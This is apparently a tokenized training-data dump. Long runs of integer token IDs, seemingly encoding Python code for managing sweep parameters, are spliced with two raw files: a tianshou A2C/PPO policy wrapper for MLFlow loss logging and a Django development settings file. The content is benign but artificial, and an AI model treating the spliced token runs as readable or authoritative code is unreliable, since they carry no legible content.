322,
9927,
6736,
7431,
29898,
1311,
22164,
13,
9651,
1583,
29889,
1202,
29918,
29879,
705,
1022,
29918,
6229,
2673,
580,
13,
4706,
4974,
1583,
29889,
2848,
29898,
6229,
2673,
29897,
297,
518,
29900,
29892,
7431,
29898,
5975,
29897,
1402,
320,
13,
9651,
525,
4557,
310,
1819,
756,
304,
1993,
278,
3309,
310,
5923,
7901,
1022,
525,
320,
13,
9651,
525,
9748,
6169,
13,
4706,
1583,
29961,
6229,
2673,
1822,
5504,
3319,
3207,
29918,
978,
29901,
313,
5975,
29892,
5190,
29892,
3858,
26972,
13,
13,
1678,
822,
788,
29918,
29879,
705,
1022,
29918,
6229,
2673,
29898,
1311,
1125,
13,
4706,
1583,
29889,
4397,
29898,
8977,
3101,
13,
13,
1678,
822,
679,
29918,
29879,
705,
1022,
29918,
6229,
2673,
29898,
1311,
29892,
9927,
2433,
497,
742,
1835,
29922,
8824,
1125,
13,
4706,
9995,
13,
4706,
16969,
278,
7901,
1022,
9657,
310,
278,
7901,
1022,
9927,
6790,
491,
9927,
29889,
13,
4706,
584,
3207,
9927,
29901,
938,
22146,
263,
7901,
1022,
9927,
470,
13,
9651,
278,
1347,
525,
497,
29915,
13,
4706,
584,
3207,
1835,
29901,
6120,
22146,
3692,
304,
1835,
313,
5574,
29897,
470,
679,
29898,
8824,
29897,
278,
13,
9651,
7901,
1022,
9927,
29889,
13,
4706,
584,
2457,
29901,
1583,
565,
9927,
1275,
525,
497,
742,
1683,
1583,
29961,
6229,
2673,
29962,
13,
4706,
9995,
13,
4706,
565,
9927,
1275,
525,
497,
2396,
13,
9651,
565,
1835,
29901,
13,
18884,
304,
29918,
2457,
353,
6483,
8552,
29898,
1311,
29897,
13,
18884,
1583,
29889,
8551,
580,
13,
18884,
736,
304,
29918,
2457,
13,
9651,
1683,
29901,
13,
18884,
736,
1583,
13,
4706,
1683,
29901,
13,
9651,
565,
7431,
29898,
1311,
29897,
529,
9927,
29901,
13,
18884,
12020,
7865,
2392,
29898,
29888,
29915,
16142,
2673,
426,
6229,
2673,
29913,
451,
1476,
29889,
1495,
13,
9651,
304,
29918,
2457,
353,
1583,
29961,
6229,
2673,
29962,
13,
9651,
565,
1835,
29901,
13,
18884,
1583,
29961,
6229,
2673,
29962,
353,
6571,
13,
9651,
736,
304,
29918,
2457,
13,
13,
1678,
822,
679,
29918,
29879,
705,
1022,
29918,
7529,
29918,
8216,
29898,
1311,
29892,
1828,
29918,
7039,
29892,
9927,
2433,
497,
742,
13,
462,
462,
268,
1835,
29922,
8824,
1125,
13,
4706,
9995,
13,
4706,
3617,
278,
7901,
1022,
5291,
2701,
363,
278,
7901,
1022,
4128,
1828,
29918,
7039,
565,
896,
526,
13,
4706,
1476,
297,
278,
7901,
1022,
9927,
9657,
6790,
491,
9927,
29889,
13,
4706,
584,
3207,
1828,
29918,
7039,
29901,
1347,
470,
1051,
310,
6031,
6590,
304,
6611,
297,
13,
9651,
278,
21503,
4314,
297,
1583,
29889,
1815,
884,
367,
525,
497,
29915,
13,
4706,
584,
3207,
9927,
29901,
525,
497,
29915,
470,
938,
22146,
263,
7901,
1022,
9927,
13,
4706,
584,
3207,
1835,
29901,
6120,
22146,
3692,
304,
1835,
313,
5574,
29897,
470,
679,
29898,
8824,
29897,
278,
13,
9651,
7901,
1022,
4128,
29889,
13,
4706,
584,
2457,
29901,
13,
9651,
960,
278,
1828,
29918,
7039,
526,
1476,
297,
1583,
470,
1583,
29961,
6229,
2673,
5387,
13,
9651,
565,
1828,
29918,
7039,
1275,
525,
497,
2396,
1051,
411,
599,
278,
7901,
1022,
5291,
2701,
13,
18884,
297,
278,
7901,
1022,
9927,
9657,
6790,
491,
9927,
29889,
13,
9651,
565,
1828,
29918,
7039,
338,
1347,
29901,
1347,
411,
278,
7901,
1022,
5291,
2701,
310,
1269,
13,
18884,
1828,
29918,
7039,
297,
278,
7901,
1022,
9927,
9657,
6790,
491,
9927,
29889,
13,
9651,
565,
1828,
29918,
7039,
338,
1051,
29901,
1051,
411,
278,
7901,
1022,
5291,
2701,
310,
1269,
13,
18884,
1828,
29918,
7039,
297,
278,
7901,
1022,
9927,
9657,
6790,
491,
9927,
29889,
13,
9651,
565,
1828,
29918,
7039,
338,
6213,
29901,
1347,
6590,
304,
278,
13,
18884,
937,
7901,
1022,
3443,
297,
278,
7901,
1022,
9927,
9657,
13,
9651,
960,
5642,
310,
1828,
29918,
7039,
526,
1476,
29892,
1153,
4637,
7670,
2392,
29889,
13,
4706,
9995,
13,
4706,
7901,
1022,
29918,
9748,
29918,
6229,
353,
1583,
29889,
657,
29918,
29879,
705,
1022,
29918,
6229,
2673,
29898,
13,
9651,
9927,
29892,
1835,
29922,
7323,
322,
1828,
29918,
7039,
1275,
525,
497,
1495,
13,
4706,
338,
29918,
1761,
353,
5852,
13,
4706,
565,
1828,
29918,
7039,
2804,
525,
497,
29915,
322,
451,
338,
8758,
29898,
3207,
29918,
7039,
29892,
1051,
1125,
13,
9651,
1828,
29918,
7039,
353,
518,
3207,
29918,
7039,
29962,
13,
9651,
338,
29918,
1761,
353,
7700,
13,
13,
4706,
7901,
1022,
29918,
3207,
29918,
5975,
353,
5159,
13,
4706,
565,
338,
8758,
29898,
29879,
705,
1022,
29918,
9748,
29918,
6229,
29892,
1051,
1125,
13,
9651,
363,
7901,
1022,
29918,
6229,
29918,
8977,
297,
7901,
1022,
29918,
9748,
29918,
6229,
29901,
13,
18884,
565,
1828,
29918,
7039,
1275,
525,
497,
2396,
13,
462,
1678,
7901,
1022,
29918,
3207,
29918,
5975,
4619,
1051,
29898,
29879,
705,
1022,
29918,
6229,
29918,
8977,
29889,
5975,
3101,
13,
18884,
1683,
29901,
13,
462,
1678,
363,
282,
29876,
297,
1828,
29918,
7039,
29901,
13,
462,
4706,
565,
282,
29876,
297,
7901,
1022,
29918,
6229,
29918,
8977,
29901,
13,
462,
9651,
7901,
1022,
29918,
3207,
29918,
5975,
4619,
518,
29879,
705,
1022,
29918,
6229,
29918,
8977,
29889,
7323,
29898,
21257,
29897,
565,
1835,
13,
462,
462,
462,
259,
1683,
7901,
1022,
29918,
6229,
29918,
8977,
29961,
21257,
5262,
13,
4706,
1683,
29901,
29871,
396,
372,
338,
263,
9657,
13,
9651,
565,
1828,
29918,
7039,
1275,
525,
497,
2396,
13,
18884,
7901,
1022,
29918,
3207,
29918,
5975,
4619,
1051,
29898,
29879,
705,
1022,
29918,
9748,
29918,
6229,
29889,
5975,
3101,
13,
9651,
1683,
29901,
13,
18884,
363,
282,
29876,
297,
1828,
29918,
7039,
29901,
13,
462,
1678,
565,
282,
29876,
297,
7901,
1022,
29918,
9748,
29918,
6229,
29901,
13,
462,
4706,
7901,
1022,
29918,
3207,
29918,
5975,
4619,
518,
29879,
705,
1022,
29918,
9748,
29918,
6229,
29889,
7323,
29898,
21257,
29897,
565,
1835,
13,
462,
462,
1669,
1683,
7901,
1022,
29918,
9748,
29918,
6229,
29961,
21257,
5262,
13,
4706,
565,
7431,
29898,
29879,
705,
1022,
29918,
3207,
29918,
5975,
29897,
1275,
29871,
29900,
29901,
13,
9651,
269,
353,
376,
29879,
705,
1022,
3291,
29908,
565,
9927,
1275,
376,
497,
29908,
1683,
285,
29915,
29879,
705,
1022,
9927,
525,
320,
13,
462,
462,
462,
3986,
285,
29915,
29912,
6229,
2673,
10162,
13,
9651,
12020,
7670,
2392,
29898,
29888,
29915,
29912,
3207,
29918,
7039,
29913,
451,
1476,
297,
426,
29879,
1836,
1495,
13,
13,
4706,
565,
338,
29918,
1761,
29901,
13,
9651,
736,
7901,
1022,
29918,
3207,
29918,
5975,
13,
4706,
1683,
29901,
13,
9651,
736,
7901,
1022,
29918,
3207,
29918,
5975,
29961,
29900,
29962,
13,
13,
1678,
822,
679,
29918,
29879,
705,
1022,
29918,
7529,
29918,
6799,
29898,
1311,
29892,
2875,
29892,
9927,
2433,
497,
742,
13,
462,
462,
29871,
1828,
29918,
7039,
29922,
8516,
1125,
13,
4706,
9995,
13,
4706,
3617,
263,
2875,
310,
278,
7901,
1022,
4128,
1828,
29918,
7039,
297,
1583,
29889,
13,
4706,
584,
3207,
2875,
29901,
851,
411,
278,
1024,
310,
263,
7901,
1022,
1828,
2875,
29889,
1815,
367,
13,
9651,
376,
5975,
613,
376,
5441,
613,
376,
1643,
1213,
13,
4706,
584,
3207,
9927,
29901,
525,
497,
29915,
470,
938,
22146,
263,
7901,
1022,
9927,
13,
9651,
313,
4381,
525,
497,
1495,
13,
4706,
584,
3207,
1828,
29918,
7039,
29901,
6213,
29892,
470,
1347,
470,
1051,
310,
6031,
6590,
304,
13,
9651,
6611,
297,
278,
7901,
1022,
9927,
6790,
491,
9927,
29889,
13,
9651,
1815,
884,
367,
525,
497,
29915,
13,
4706,
584,
2457,
29901,
13,
9651,
565,
1828,
29918,
7039,
1275,
525,
497,
2396,
1051,
411,
278,
2875,
310,
599,
13,
18884,
1828,
29918,
7039,
297,
278,
7901,
1022,
9927,
9657,
6790,
491,
9927,
29889,
13,
9651,
565,
1828,
29918,
7039,
338,
1347,
29901,
278,
2875,
310,
278,
7901,
1022,
3443,
13,
18884,
6790,
297,
1828,
29918,
7039,
297,
278,
7901,
1022,
9927,
9657,
6790,
13,
18884,
491,
9927,
29889,
13,
9651,
565,
1828,
29918,
7039,
338,
1051,
29901,
1051,
411,
278,
2875,
310,
1269,
13,
18884,
1828,
29918,
7039,
297,
278,
7901,
1022,
9927,
9657,
6790,
491,
9927,
29889,
13,
9651,
565,
1828,
29918,
7039,
338,
6213,
29901,
2875,
6590,
304,
278,
13,
18884,
937,
7901,
1022,
3443,
297,
278,
7901,
1022,
9927,
9657,
13,
4706,
9995,
13,
4706,
4426,
29918,
8977,
353,
11117,
5975,
2396,
29871,
29900,
29892,
525,
5441,
2396,
29871,
29896,
29892,
525,
1643,
2396,
29871,
29906,
29913,
13,
4706,
7901,
1022,
29918,
9748,
29918,
6229,
353,
1583,
29889,
657,
29918,
29879,
705,
1022,
29918,
6229,
2673,
29898,
6229,
2673,
29897,
13,
13,
4706,
565,
1828,
29918,
7039,
338,
6213,
29901,
13,
9651,
565,
338,
8758,
29898,
29879,
705,
1022,
29918,
9748,
29918,
6229,
29892,
1051,
1125,
13,
18884,
363,
7901,
1022,
29918,
6229,
29918,
8977,
297,
7901,
1022,
29918,
9748,
29918,
6229,
29901,
13,
462,
1678,
565,
7431,
29898,
29879,
705,
1022,
29918,
6229,
29918,
8977,
29897,
1275,
29871,
29900,
29901,
13,
462,
4706,
736,
5159,
565,
2875,
1275,
525,
5975,
29915,
1683,
6629,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
736,
2446,
29898,
1524,
29898,
29879,
705,
1022,
29918,
6229,
29918,
8977,
29889,
5975,
22130,
29961,
13,
462,
9651,
4426,
29918,
8977,
29961,
6799,
5262,
13,
9651,
1683,
29901,
13,
18884,
565,
7431,
29898,
29879,
705,
1022,
29918,
9748,
29918,
6229,
29897,
1275,
29871,
29900,
29901,
13,
462,
1678,
736,
5159,
565,
2875,
1275,
525,
5975,
29915,
1683,
6629,
13,
18884,
1683,
29901,
13,
462,
1678,
736,
2446,
29898,
1524,
29898,
29879,
705,
1022,
29918,
9748,
29918,
6229,
29889,
5975,
22130,
29961,
13,
462,
4706,
4426,
29918,
8977,
29961,
6799,
5262,
13,
4706,
25342,
1828,
29918,
7039,
1275,
525,
497,
29915,
470,
338,
8758,
29898,
3207,
29918,
7039,
29892,
1051,
1125,
13,
9651,
736,
518,
29886,
299,
29961,
11330,
29918,
8977,
29961,
6799,
5262,
363,
282,
299,
297,
13,
462,
1678,
1583,
29889,
657,
29918,
29879,
705,
1022,
29918,
7529,
29918,
8216,
29898,
3207,
29918,
7039,
29892,
13,
462,
462,
462,
418,
9927,
4638,
13,
4706,
1683,
29901,
13,
9651,
736,
1583,
29889,
657,
29918,
29879,
705,
1022,
29918,
7529,
29918,
8216,
29898,
13,
18884,
1828,
29918,
7039,
29892,
9927,
9601,
11330,
29918,
8977,
29961,
6799,
5262,
13,
13,
1678,
822,
679,
29918,
1004,
294,
29918,
5415,
29918,
29879,
705,
1022,
29918,
9748,
29918,
1958,
29898,
1311,
29892,
20039,
29918,
12650,
1125,
13,
4706,
9995,
13,
4706,
1281,
4984,
29879,
278,
20039,
29899,
12650,
29899,
29879,
705,
1022,
29899,
9748,
2910,
408,
278,
9657,
13,
4706,
426,
29885,
5415,
29918,
978,
29901,
518,
29879,
705,
1022,
29918,
3207,
29918,
978,
29918,
29900,
29892,
2023,
29892,
7901,
1022,
29918,
3207,
29918,
978,
29918,
29876,
12258,
13,
13,
4706,
960,
263,
7901,
1022,
9927,
756,
871,
697,
7901,
1022,
3443,
1024,
313,
8977,
411,
871,
13,
4706,
697,
1820,
511,
769,
372,
15894,
599,
22458,
1315,
671,
393,
7901,
1022,
3443,
1024,
29889,
13,
13,
4706,
960,
278,
7901,
1022,
9927,
756,
901,
1135,
697,
7901,
1022,
3443,
1024,
313,
8977,
411,
13,
4706,
3196,
6611,
511,
769,
29901,
13,
9651,
448,
937,
14335,
304,
788,
304,
278,
1051,
363,
1269,
286,
5415,
871,
1906,
7901,
1022,
13,
9651,
1828,
2983,
393,
1712,
278,
286,
5415,
29918,
978,
29889,
13,
9651,
448,
960,
372,
508,
29915,
29873,
1284,
278,
286,
5415,
29918,
978,
297,
278,
7901,
1022,
1828,
1024,
29892,
15894,
13,
9651,
727,
338,
871,
697,
1828,
639,
286,
5415,
297,
1269,
7901,
1022,
9927,
29892,
322,
393,
13,
9651,
278,
1797,
310,
8636,
297,
1269,
7901,
1022,
9927,
16161,
304,
278,
13,
9651,
1797,
310,
6611,
297,
6611,
29918,
1761,
29889,
13,
9651,
306,
29889,
29872,
29889,
1820,
29918,
29875,
297,
7901,
1022,
29918,
9748,
29961,
29900,
29962,
3743,
278,
7901,
1022,
2472,
363,
13,
9651,
17005,
29918,
12650,
29961,
29875,
1822,
13,
13,
4706,
584,
3207,
17005,
29918,
12650,
29901,
1051,
310,
6031,
304,
367,
1304,
408,
6611,
297,
278,
13,
9651,
4133,
8600,
29889,
4525,
526,
278,
17005,
1203,
2983,
13,
4706,
584,
2457,
29901,
9657,
310,
278,
883,
13,
308,
426,
29885,
5415,
29918,
978,
29901,
518,
29879,
705,
1022,
29918,
3207,
29918,
978,
29918,
29900,
29892,
2023,
29892,
7901,
1022,
29918,
3207,
29918,
978,
29918,
29876,
12258,
13,
4706,
9995,
13,
4706,
565,
451,
338,
8758,
29898,
26658,
358,
29918,
12650,
29892,
1051,
1125,
13,
9651,
20039,
29918,
12650,
353,
518,
26658,
358,
29918,
12650,
29962,
13,
4706,
363,
474,
29892,
286,
5415,
297,
26985,
29898,
26658,
358,
29918,
12650,
1125,
13,
9651,
565,
756,
5552,
29898,
29885,
5415,
29892,
525,
978,
29374,
13,
18884,
20039,
29918,
12650,
29961,
29875,
29962,
353,
286,
5415,
29889,
978,
13,
13,
4706,
7901,
1022,
29918,
9748,
29918,
1958,
353,
8170,
287,
21533,
580,
13,
4706,
363,
474,
29892,
286,
5415,
29876,
297,
26985,
29898,
26658,
358,
29918,
12650,
1125,
13,
9651,
7901,
1022,
29918,
9748,
29918,
1958,
29961,
29885,
5415,
29876,
29962,
353,
5159,
13,
9651,
363,
3964,
29892,
270,
297,
26985,
29898,
1311,
1125,
13,
18884,
565,
7431,
29898,
29881,
29897,
1275,
29871,
29896,
29901,
13,
462,
1678,
396,
5251,
599,
22458,
1315,
671,
278,
1021,
1828,
29918,
978,
13,
462,
1678,
7901,
1022,
29918,
9748,
29918,
1958,
29961,
29885,
5415,
29876,
29962,
4619,
518,
4622,
29898,
1524,
29898,
29881,
28166,
13,
18884,
25342,
286,
5415,
29876,
297,
1051,
29898,
29881,
9601,
29875,
5387,
13,
462,
1678,
7901,
1022,
29918,
9748,
29918,
1958,
29961,
29885,
5415,
29876,
29962,
4619,
518,
1761,
29898,
29881,
9601,
29875,
5262,
13,
18884,
1683,
29901,
13,
462,
1678,
565,
7431,
29898,
29881,
29897,
2804,
7431,
29898,
26658,
358,
29918,
12650,
1125,
13,
462,
4706,
12020,
7865,
2392,
29898,
13,
462,
9651,
285,
29915,
29912,
2435,
29898,
26658,
358,
29918,
12650,
2915,
20039,
3618,
525,
13,
462,
9651,
285,
29915,
29893,
406,
2183,
541,
727,
526,
426,
2435,
29898,
29881,
2915,
525,
13,
462,
9651,
285,
29915,
29879,
705,
1022,
4128,
297,
9927,
426,
6229,
1836,
1495,
13,
462,
1678,
7901,
1022,
29918,
9748,
29918,
1958,
29961,
29885,
5415,
29876,
29962,
4619,
518,
1761,
29898,
29881,
9601,
29875,
5262,
13,
4706,
736,
7901,
1022,
29918,
9748,
29918,
1958,
13,
13,
1678,
822,
3309,
29898,
1311,
29892,
9927,
2433,
497,
29374,
13,
4706,
9995,
13,
4706,
16969,
278,
1353,
310,
7901,
1022,
3291,
297,
263,
2183,
7901,
1022,
9927,
313,
7045,
263,
13,
4706,
9753,
537,
8454,
467,
13,
13,
4706,
584,
3207,
9927,
29901,
6702,
497,
29915,
470,
938,
29897,
7901,
1022,
9927,
313,
4381,
29901,
525,
497,
2824,
13,
13,
4706,
584,
2457,
29901,
313,
524,
29897,
1353,
310,
7901,
1022,
3291,
297,
278,
2183,
9927,
13,
4706,
9995,
13,
13,
4706,
565,
9927,
1275,
525,
497,
2396,
13,
9651,
736,
518,
1311,
29889,
2848,
29898,
29881,
29897,
363,
270,
297,
3464,
29898,
2435,
29898,
1311,
28166,
13,
13,
4706,
565,
7431,
29898,
1311,
29897,
1275,
29871,
29900,
470,
313,
6229,
2673,
6736,
29871,
29900,
322,
9927,
6736,
7431,
29898,
1311,
22164,
13,
9651,
736,
29871,
29900,
13,
4706,
302,
353,
29871,
29900,
13,
4706,
363,
282,
297,
1583,
29961,
6229,
2673,
1822,
5975,
7295,
13,
9651,
565,
302,
1275,
29871,
29900,
29901,
13,
18884,
302,
353,
7431,
29898,
29886,
29961,
29900,
2314,
13,
9651,
25342,
302,
2804,
7431,
29898,
29886,
29961,
29900,
29962,
1125,
13,
18884,
12020,
7865,
2392,
877,
1576,
27497,
310,
278,
7901,
1022,
3291,
526,
451,
525,
13,
462,
462,
525,
3200,
9696,
29889,
1495,
13,
4706,
736,
302,
13,
13,
1678,
822,
2767,
29898,
1311,
29892,
7901,
1022,
29918,
9748,
1125,
13,
4706,
9995,
13,
4706,
5020,
15190,
278,
7901,
1022,
21503,
4314,
310,
599,
13391,
411,
278,
7901,
1022,
13,
4706,
21503,
4314,
4502,
408,
7901,
1022,
29918,
9748,
29889,
10050,
29899,
735,
275,
11407,
13,
4706,
4128,
322,
3734,
5684,
13391,
526,
2715,
565,
4312,
29889,
13,
13,
4706,
584,
3207,
7901,
1022,
29918,
9748,
29901,
313,
29903,
705,
1022,
20325,
29897,
263,
317,
705,
1022,
20325,
1203,
6943,
13,
9651,
278,
7901,
1022,
3291,
304,
367,
4784,
29889,
13,
13,
4706,
584,
2457,
29901,
13,
4706,
9995,
13,
4706,
1550,
7431,
29898,
1311,
29897,
529,
7431,
29898,
29879,
705,
1022,
29918,
9748,
1125,
13,
9651,
1583,
29889,
1202,
29918,
29879,
705,
1022,
29918,
6229,
2673,
580,
13,
4706,
363,
270,
29892,
318,
297,
14319,
29898,
1311,
29892,
7901,
1022,
29918,
9748,
1125,
13,
9651,
270,
29889,
5504,
29898,
29884,
29897,
13,
13,
1678,
822,
1284,
29918,
15501,
29898,
1311,
29892,
1828,
29918,
978,
1125,
13,
4706,
9995,
13,
4706,
16969,
278,
2380,
310,
278,
937,
9927,
297,
607,
263,
2183,
7901,
1022,
13,
4706,
3443,
338,
1476,
29889,
13,
13,
4706,
584,
3207,
1828,
29918,
978,
29901,
313,
710,
29897,
1024,
310,
278,
7901,
1022,
3443,
13,
13,
4706,
584,
2457,
29901,
313,
524,
470,
6213,
29897,
278,
2380,
310,
278,
937,
9927,
297,
607,
278,
13,
9651,
3443,
565,
1476,
470,
6213,
565,
694,
3443,
411,
278,
2183,
1024,
13,
9651,
4864,
29889,
13,
4706,
9995,
13,
4706,
363,
3964,
297,
3464,
29898,
2435,
29898,
1311,
22164,
13,
9651,
565,
1828,
29918,
978,
297,
1583,
29961,
6229,
5387,
13,
18884,
736,
3964,
13,
4706,
736,
6213,
13,
13,
1678,
822,
11306,
29898,
1311,
29892,
474,
29892,
9927,
29922,
29900,
1125,
13,
4706,
9995,
13,
4706,
16969,
263,
716,
317,
705,
1022,
20325,
1203,
411,
697,
310,
278,
13391,
12212,
13,
4706,
304,
263,
11306,
310,
278,
7901,
1022,
1819,
29889,
450,
916,
13391,
526,
443,
15033,
29889,
13,
4706,
584,
3207,
474,
29901,
313,
1761,
29897,
16285,
310,
278,
7901,
1022,
1819,
393,
881,
367,
13,
9651,
11122,
297,
278,
11306,
29889,
13,
4706,
584,
3207,
9927,
29901,
313,
524,
29892,
2322,
29871,
29900,
29897,
2380,
310,
278,
9927,
393,
13,
9651,
881,
367,
12212,
13,
4706,
9995,
13,
4706,
805,
353,
317,
705,
1022,
20325,
29898,
1311,
29897,
13,
4706,
363,
413,
29892,
325,
297,
805,
29961,
6229,
2673,
1822,
7076,
7295,
13,
9651,
805,
29961,
6229,
2673,
3816,
29895,
29962,
353,
313,
9302,
29889,
2378,
29898,
29894,
29961,
29900,
2314,
29961,
29875,
1402,
325,
29961,
29896,
1402,
325,
29961,
29906,
2314,
13,
4706,
736,
805,
13,
13,
1678,
822,
3349,
29918,
29879,
705,
1022,
29918,
15501,
29898,
1311,
29892,
1828,
29918,
978,
1125,
13,
4706,
9995,
13,
4706,
5240,
586,
267,
263,
278,
7901,
1022,
3443,
411,
263,
2183,
1024,
515,
278,
317,
705,
1022,
20325,
13,
4706,
1203,
29889,
960,
278,
3443,
338,
451,
1476,
29892,
263,
9177,
338,
16610,
29889,
13,
4706,
584,
3207,
1828,
29918,
978,
29901,
313,
710,
29897,
1024,
310,
278,
7901,
1022,
3443,
304,
3349,
13,
4706,
9995,
13,
4706,
3964,
353,
1583,
29889,
2886,
29918,
15501,
29898,
3207,
29918,
978,
29897,
13,
4706,
565,
3964,
338,
6213,
29901,
13,
9651,
1480,
29889,
27392,
29898,
29888,
29908,
5992,
29918,
29879,
705,
1022,
29918,
15501,
29901,
317,
705,
1022,
3443,
376,
13,
462,
4706,
285,
29908,
29912,
3207,
29918,
978,
29913,
451,
1476,
23157,
13,
4706,
1683,
29901,
13,
9651,
628,
1583,
29961,
6229,
3816,
3207,
29918,
978,
29962,
13,
2
] |
bloodbank_rl/tianshou_utils/policies.py | joefarrington/bloodbank_rl | 0 | 48860 | <filename>bloodbank_rl/tianshou_utils/policies.py
from tianshou.policy import A2CPolicy, PPOPolicy
from typing import Any, Dict, List, Optional, Type
from tianshou.data import Batch
# Normal key structure for output doesn't work with MLFlow logging nicely
# loss used as a key and also parent
class A2CPolicyforMLFlow(A2CPolicy):
def learn(
self, batch: Batch, batch_size: int, repeat: int, **kwargs: Any
) -> Dict[str, List[float]]:
loss_dict = super().learn(batch, batch_size, repeat, **kwargs)
output_loss_dict = {}
output_loss_dict["loss"] = loss_dict["loss"]
output_loss_dict["loss_component/actor"] = loss_dict["loss/actor"]
output_loss_dict["loss_component/vf"] = loss_dict["loss/vf"]
output_loss_dict["loss_component/ent"] = loss_dict["loss/ent"]
return output_loss_dict
class PPOPolicyforMLFlow(PPOPolicy):
def learn(
self, batch: Batch, batch_size: int, repeat: int, **kwargs: Any
) -> Dict[str, List[float]]:
loss_dict = super().learn(batch, batch_size, repeat, **kwargs)
output_loss_dict = {}
output_loss_dict["loss"] = loss_dict["loss"]
output_loss_dict["loss_component/clip"] = loss_dict["loss/clip"]
output_loss_dict["loss_component/vf"] = loss_dict["loss/vf"]
output_loss_dict["loss_component/ent"] = loss_dict["loss/ent"]
return output_loss_dict
| [
1,
529,
9507,
29958,
14073,
397,
9157,
29918,
2096,
29914,
2034,
550,
10774,
29918,
13239,
29914,
3733,
293,
583,
29889,
2272,
13,
3166,
260,
5834,
10774,
29889,
22197,
1053,
319,
29906,
6271,
324,
4245,
29892,
349,
29925,
4590,
324,
4245,
13,
3166,
19229,
1053,
3139,
29892,
360,
919,
29892,
2391,
29892,
28379,
29892,
5167,
13,
3166,
260,
5834,
10774,
29889,
1272,
1053,
350,
905,
13,
13,
29937,
21981,
1820,
3829,
363,
1962,
1838,
29915,
29873,
664,
411,
23158,
17907,
12183,
28138,
13,
29937,
6410,
1304,
408,
263,
1820,
322,
884,
3847,
13,
13,
13,
1990,
319,
29906,
6271,
324,
4245,
1454,
1988,
17907,
29898,
29909,
29906,
6271,
324,
4245,
1125,
13,
1678,
822,
5110,
29898,
13,
4706,
1583,
29892,
9853,
29901,
350,
905,
29892,
9853,
29918,
2311,
29901,
938,
29892,
12312,
29901,
938,
29892,
3579,
19290,
29901,
3139,
13,
1678,
1723,
1599,
360,
919,
29961,
710,
29892,
2391,
29961,
7411,
5262,
29901,
13,
4706,
6410,
29918,
8977,
353,
2428,
2141,
19668,
29898,
16175,
29892,
9853,
29918,
2311,
29892,
12312,
29892,
3579,
19290,
29897,
13,
4706,
1962,
29918,
6758,
29918,
8977,
353,
6571,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
3108,
353,
6410,
29918,
8977,
3366,
6758,
3108,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
29918,
9700,
29914,
7168,
3108,
353,
6410,
29918,
8977,
3366,
6758,
29914,
7168,
3108,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
29918,
9700,
29914,
29894,
29888,
3108,
353,
6410,
29918,
8977,
3366,
6758,
29914,
29894,
29888,
3108,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
29918,
9700,
29914,
296,
3108,
353,
6410,
29918,
8977,
3366,
6758,
29914,
296,
3108,
13,
4706,
736,
1962,
29918,
6758,
29918,
8977,
13,
13,
13,
1990,
349,
29925,
4590,
324,
4245,
1454,
1988,
17907,
29898,
18009,
4590,
324,
4245,
1125,
13,
1678,
822,
5110,
29898,
13,
4706,
1583,
29892,
9853,
29901,
350,
905,
29892,
9853,
29918,
2311,
29901,
938,
29892,
12312,
29901,
938,
29892,
3579,
19290,
29901,
3139,
13,
1678,
1723,
1599,
360,
919,
29961,
710,
29892,
2391,
29961,
7411,
5262,
29901,
13,
4706,
6410,
29918,
8977,
353,
2428,
2141,
19668,
29898,
16175,
29892,
9853,
29918,
2311,
29892,
12312,
29892,
3579,
19290,
29897,
13,
4706,
1962,
29918,
6758,
29918,
8977,
353,
6571,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
3108,
353,
6410,
29918,
8977,
3366,
6758,
3108,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
29918,
9700,
29914,
24049,
3108,
353,
6410,
29918,
8977,
3366,
6758,
29914,
24049,
3108,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
29918,
9700,
29914,
29894,
29888,
3108,
353,
6410,
29918,
8977,
3366,
6758,
29914,
29894,
29888,
3108,
13,
4706,
1962,
29918,
6758,
29918,
8977,
3366,
6758,
29918,
9700,
29914,
296,
3108,
353,
6410,
29918,
8977,
3366,
6758,
29914,
296,
3108,
13,
4706,
736,
1962,
29918,
6758,
29918,
8977,
13,
2
] |
terracommon/project/settings/dev.py | Terralego/terra-back | 4 | 47220 | # -*- coding: utf-8 -*-
import logging
import os
from django.utils import six
from .base import * # noqa
SECRET_KEY = 'dev-<KEY>'
ALLOWED_HOSTS = []
DEBUG = True
EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'
INTERNAL_IPS = ('127.0.0.1',) # Used by app debug_toolbar
# Add the Python core NullHandler to be available when needed
LOGGING['handlers']['null'] = { # noqa
'level': logging.NOTSET,
'class': 'logging.NullHandler',
}
# Force every loggers to use console handler only. Note that using 'root'
# logger is not enough if children don't propage.
for logger in six.itervalues(LOGGING['loggers']): # noqa
logger['handlers'] = ['console']
# Log every level.
LOGGING['handlers']['console']['level'] = logging.NOTSET # noqa
CORS_ORIGIN_ALLOW_ALL = True
try:
from .local import * # noqa
except ImportError:
pass
| [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
5215,
12183,
13,
5215,
2897,
13,
13,
3166,
9557,
29889,
13239,
1053,
4832,
13,
13,
3166,
869,
3188,
1053,
334,
29871,
396,
694,
25621,
13,
13,
1660,
22245,
29911,
29918,
10818,
353,
525,
3359,
29899,
29966,
10818,
16299,
13,
13,
1964,
27998,
3352,
29918,
20832,
29903,
353,
5159,
13,
18525,
353,
5852,
13,
13,
26862,
6227,
29918,
29933,
11375,
11794,
353,
525,
14095,
29889,
3221,
29889,
2549,
29889,
1627,
1975,
29889,
11058,
29889,
9823,
5841,
355,
29915,
13,
13,
23845,
29940,
1964,
29918,
5690,
29903,
353,
6702,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
742,
29897,
29871,
396,
501,
8485,
491,
623,
4744,
29918,
10154,
1646,
13,
13,
29937,
3462,
278,
5132,
7136,
19014,
4598,
304,
367,
3625,
746,
4312,
13,
14480,
29954,
4214,
1839,
3179,
9306,
16215,
4304,
2033,
353,
426,
29871,
396,
694,
25621,
13,
1678,
525,
5563,
2396,
12183,
29889,
12256,
10490,
29892,
13,
1678,
525,
1990,
2396,
525,
21027,
29889,
7327,
4598,
742,
13,
29913,
13,
13,
29937,
11004,
1432,
1480,
5743,
304,
671,
2991,
7834,
871,
29889,
3940,
393,
773,
525,
4632,
29915,
13,
29937,
17927,
338,
451,
3307,
565,
4344,
